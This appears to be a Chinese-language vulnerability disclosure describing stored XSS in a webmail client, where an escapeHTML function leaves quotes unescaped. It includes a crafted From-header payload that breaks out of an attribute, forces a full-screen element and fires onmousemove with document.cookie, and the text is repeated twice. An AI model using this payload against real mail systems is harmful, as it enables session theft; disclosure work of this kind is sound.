### 简要描述: 某处 escape 姿势不对 ### 详细说明: 目前的代码,在构造发件人时,代码如下: ``` function getEmailDiv(emailAddress) { return '<div class="emailAddress" value="'+emailAddress.escapeHTML()+'" style="display:none"></div>' } ``` 那么 escapeHTML 是什么呢? ``` function (){ var div=document.createElement("div"); var _15=document.createTextNode(this); div.appendChild(_15); return div.innerHTML; } ``` 这种过滤并不会过滤单引号和双引号,所以可以构造特别的字符串逃逸到双引号以外 ### 漏洞证明: 最简单触发方式是利用 onmousexxx 系列属性。由于原始的 div 还有个 display:none,是无法直接触发鼠标事件的,所以可以自己提前把 style 属性覆盖掉,顺便样式改成覆盖全屏幕这样一动鼠标就触发了。 比如 From 字段如下: ``` From: test<12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**> ``` 最后 JavaScript 构造出的 HTML 如下: ``` <div class="emailAddress" value="12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**"></div> ``` [<img...
### 简要描述: 某处 escape 姿势不对 ### 详细说明: 目前的代码,在构造发件人时,代码如下: ``` function getEmailDiv(emailAddress) { return '<div class="emailAddress" value="'+emailAddress.escapeHTML()+'" style="display:none"></div>' } ``` 那么 escapeHTML 是什么呢? ``` function (){ var div=document.createElement("div"); var _15=document.createTextNode(this); div.appendChild(_15); return div.innerHTML; } ``` 这种过滤并不会过滤单引号和双引号,所以可以构造特别的字符串逃逸到双引号以外 ### 漏洞证明: 最简单触发方式是利用 onmousexxx 系列属性。由于原始的 div 还有个 display:none,是无法直接触发鼠标事件的,所以可以自己提前把 style 属性覆盖掉,顺便样式改成覆盖全屏幕这样一动鼠标就触发了。 比如 From 字段如下: ``` From: test<12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**> ``` 最后 JavaScript 构造出的 HTML 如下: ``` <div class="emailAddress" value="12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**"></div> ``` [<img src="https://images.seebug.org/upload/201604/082251384dcac0c813ec1823c40f68f7ad97f16b.jpg" alt="exp.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201604/082251384dcac0c813ec1823c40f68f7ad97f16b.jpg)